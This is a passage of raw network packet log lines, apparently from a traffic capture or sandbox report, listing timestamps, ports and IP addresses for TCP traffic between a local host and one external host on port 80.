Sep 1, 2024 01:30:04.639161110 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639169931 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639431953 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639441967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639453888 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639462948 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639486074 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639518976 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639530897 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639570951 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639574051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639585018 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639615059 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639632940 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639640093 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639642000 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639652967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639668941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639672995 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639681101 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639688969 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639691114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.639719963 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.639750004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.640355110 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640366077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640374899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640384912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640394926 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640403986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640419006 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.640420914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640430927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640440941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640448093 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.640450954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640463114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640470982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.640475988 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.640487909 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.640508890 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.641652107 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641663074 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641671896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641681910 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641693115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641701937 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641702890 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.641714096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641722918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641732931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641742945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641746044 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.641753912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.641768932 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.641787052 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.644666910 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644679070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644714117 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.644843102 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644855022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644865036 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644876003 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644895077 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.644906998 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.644939899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644951105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644959927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644973993 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644979954 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.644989967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.644994974 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.645000935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645009995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645020962 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645026922 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.645030022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645040989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645054102 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.645071030 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.645097017 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.645139933 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645178080 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.645256996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645267963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645277023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645286083 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645296097 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645302057 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.645304918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645315886 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.645329952 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.645344973 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.645395994 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.730166912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730190992 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730201960 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730212927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730230093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730240107 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730249882 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730258942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730277061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730278015 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.730285883 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730298042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730307102 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730319023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730340958 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.730354071 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.730359077 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.730391979 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.785996914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786036968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786046982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786058903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786071062 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786083937 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786102057 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.786271095 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.786309958 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786319017 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786330938 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786343098 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786349058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786351919 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.786381006 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.786537886 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786546946 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786562920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786575079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786580086 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.786587000 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786598921 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.786639929 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.786932945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786943913 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786955118 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786973953 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786978960 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.786992073 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.786997080 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787004948 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787018061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787026882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787055016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787055969 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787091017 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787122011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787132978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787156105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787159920 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787167072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787177086 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787197113 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787237883 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787249088 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787260056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787269115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787272930 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787278891 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787302971 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787331104 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787374020 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787386894 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787398100 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787411928 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787430048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787431002 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787441015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787451982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787467957 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787499905 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787590027 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787600994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787611961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787622929 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787628889 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787636042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787646055 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787674904 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787676096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787687063 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787717104 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787827015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787863016 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.787965059 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787975073 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787986040 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787996054 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.787998915 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788006067 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788018942 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788026094 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788036108 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788045883 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788048029 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788069010 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788084030 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788089991 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788099051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788110971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788122892 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788132906 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788141966 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788151979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788156986 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788162947 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788172960 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788202047 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788230896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788268089 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788338900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788348913 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788369894 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788376093 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788383007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788393021 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788415909 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788475037 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788491011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788505077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788510084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788516045 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788527012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788536072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788536072 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788563013 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788580894 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788608074 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788619041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788629055 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788640022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788649082 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788650036 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788661003 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788677931 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788696051 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788754940 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788765907 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788775921 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788789988 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788810015 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788841963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788852930 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788861990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788882017 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788898945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.788933039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.788976908 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789021969 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789032936 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789043903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789055109 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789063931 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789066076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789098978 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789113045 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789169073 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789180040 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789191008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789207935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789207935 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789222002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789231062 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789232016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789242983 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789259911 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789259911 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789282084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789299011 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789366007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789386034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789398909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789403915 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789417028 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789422989 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789431095 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789443016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789443970 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789454937 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789464951 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789467096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789494991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789510965 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789520025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789561033 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789629936 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789640903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789649963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789660931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789670944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789671898 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789681911 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789694071 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.789700031 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789717913 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.789736986 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.822278023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822309971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822319984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822366953 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.822374105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822390079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822391987 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.822401047 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822412014 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822422981 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822444916 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.822462082 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.822823048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822871923 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.822922945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822933912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822946072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822959900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822962999 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.822971106 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822979927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.822985888 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.823009014 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.823033094 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.878436089 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.878462076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.878473997 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.878479958 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.878489971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.878500938 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.878513098 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.878525972 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:04.878709078 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.878709078 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:04.878772974 CEST	80	49713	185.215.113.16	192.168.2.5
